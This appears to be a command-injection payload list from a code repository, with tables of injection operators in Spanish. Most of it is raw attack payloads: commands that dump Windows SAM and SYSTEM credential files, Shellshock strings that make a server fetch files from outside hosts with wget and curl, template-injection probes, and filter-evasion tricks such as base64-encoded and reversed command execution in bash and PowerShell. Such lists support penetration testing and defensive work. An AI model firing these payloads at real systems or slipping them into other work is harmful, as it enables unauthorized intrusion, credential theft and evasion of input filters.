&& type C:\WINNT\repair\SAM
type C:\WINNT\repair\SAM
type C:\WINNT\repair\SYSTEM
| type %SYSTEMROOT%\repair\SAM
; type %SYSTEMROOT%\repair\SAM
& type %SYSTEMROOT%\repair\SAM
&& type %SYSTEMROOT%\repair\SAM
type %SYSTEMROOT%\repair\SAM
| type %SYSTEMROOT%\repair\SYSTEM
; type %SYSTEMROOT%\repair\SYSTEM
& type %SYSTEMROOT%\repair\SYSTEM
&& type %SYSTEMROOT%\repair\SYSTEM
type %SYSTEMROOT%\repair\SYSTEM
uname
;uname;
| uname -a
; uname -a
& uname -a
&& uname -a
uname -a
|/usr/bin/id
;|/usr/bin/id|
;/usr/bin/id|
$;/usr/bin/id
() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\");'
() { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11
| wget http://crowdshield.com/.testing/rce.txt
& wget http://crowdshield.com/.testing/rce.txt
; wget https://crowdshield.com/.testing/rce_vuln.txt
$(`wget https://crowdshield.com/.testing/rce_vuln.txt`)
&& wget https://crowdshield.com/.testing/rce_vuln.txt
wget https://crowdshield.com/.testing/rce_vuln.txt
$(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
which curl
which gcc
which nc
which netcat
which perl
which python
which wget
whoami
| whoami
; whoami
' whoami
' || whoami
' & whoami
' && whoami
'; whoami
" whoami
" || whoami
" | whoami
" & whoami
" && whoami
"; whoami
$(`whoami`)
& whoami
&& whoami
{{ get_user_file("C:\boot.ini") }}
{{ get_user_file("/etc/hosts") }}
{{4+4}}
{{4+8}}
{{person.secret}}
{{person.name}}
{1} + {1}
{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
{{[] .__ Class __.__ base __.__ subclasses __ ()}}
Operador de inyección | Carácter de inyección | Carácter codificado en URL | Comando ejecutado |
---|---|---|---|
Punto y coma | ; |
%3b |
Ambos |
Nueva línea | \n |
%0a |
Ambos |
Background | & |
%26 |
Ambos (la segunda salida generalmente se muestra primero) |
Pipe | | |
%7c |
Ambos (solo se muestra la segunda salida) |
AND | && |
%26%26 |
Ambos (solo si el primero tiene éxito) |
OR | | | %7c%7c |
Segundo (solo si el primero falla) |
Sub-Shell | `` |
%60%60 |
Ambos (solo Linux) |
Sub-Shell | $() |
%24%28%29 |
Ambos (solo Linux) |
Nota: La única excepción puede ser el punto y coma ;
, que no funcionará si el comando se ejecuta con Windows Command Line (CMD)
, pero aún funcionará si se ejecuta con Windows PowerShell
.
Código | Descripción |
---|---|
printenv |
Se puede utilizar para ver todas las variables de entorno. |
Espacios | |
%09 |
Usar tabulaciones en lugar de espacios |
${IFS} |
Será reemplazado por un espacio y una pestaña. No se puede utilizar en subcapas (es decir, $() ) |
{ls,-la} |
Las comas serán reemplazadas por espacios. |
Otros personajes | |
${PATH:0:1} |
Será reemplazado por/ |
${LS_COLORS:10:1} |
Será reemplazado por; |
$(tr '!-}' '"-~'<<<[) |
Cambiar carácter en uno ( [ -> \ ) |
Código | Descripción |
---|---|
Inserción de personajes | |
' o" |
El total debe ser par. |
$@ o\ |
solo linux |
Manipulación de casos | |
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") |
Ejecutar comando independientemente de los casos. |
$(a="WhOaMi";printf %s "${a,,}") |
Otra variación de la técnica. |
Comandos invertidos | |
echo 'whoami' | rev |
Invertir una cadena |
$(rev<<<'imaohw') |
Ejecutar comando invertido |
Comandos codificados | |
echo -n 'cat /etc/passwd | grep 33' | base64 |
Codificar una cadena con base64 |
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) |
Ejecutar cadena codificada b64 |
Código | Descripción |
---|---|
Get-ChildItem Env: |
Se puede utilizar para ver todas las variables de entorno - (PowerShell) |
Espacios | |
%09 |
Usar tabulaciones en lugar de espacios |
%PROGRAMFILES:~10,-5% |
Será reemplazado por un espacio - (CMD) |
$env:PROGRAMFILES[10] |
Será reemplazado por un espacio - (PowerShell) |
Otros personajes | |
%HOMEPATH:~0,-17% |
Será reemplazado por \ - (CMD) |
$env:HOMEPATH[0] |
Será reemplazado por \ - (PowerShell) |
Código | Descripción |
---|---|
Inserción de Caracteres | |
' o" |
El total debe ser par. |
^ |
Sólo Windows (CMD) |
Manipulación de casos | |
WhoAmi |
Simplemente envía el personaje con casos impares. |
Comandos invertidos | |
"whoami"[-1..-20] -join '' |
Invertir una cadena |
iex "$('imaohw'[-1..-20] -join '')" |
Ejecutar comando invertido |
Comandos codificados | |
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) |
Codificar una cadena con base64 |
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" |
Ejecutar cadena codificada b64 |
Tipo de inyección | Operadores |
---|---|
Inyección SQL | ' , ; -- /* */ |
Inyección de comando | ; && |
Inyección LDAP | * ( ) & | |
Inyección XPath | ' or and not substring concat count |
Inyección de comandos del sistema operativo | ; & | |
Inyección de código | ' ; -- /* */ $() ${} #{} %{} ^ |
Recorrido de directorio/recorrido de ruta de archivo | ../ ..\\ %00 |
Inyección de objetos | ; & | |
Inyección XQuery | ' ; -- /* */ |
Inyección de código shell | \x \u %u %n |
Inyección de encabezado | \n \r\n \t %0d %0a %09 |
root@fr4nzisko:~# git clone https://github.com/fr4nzisko/command-injection-payload-list.git
root@fr4nzisko:~# git clone git@github.com:fr4nzisko/command-injection-payload-list.git
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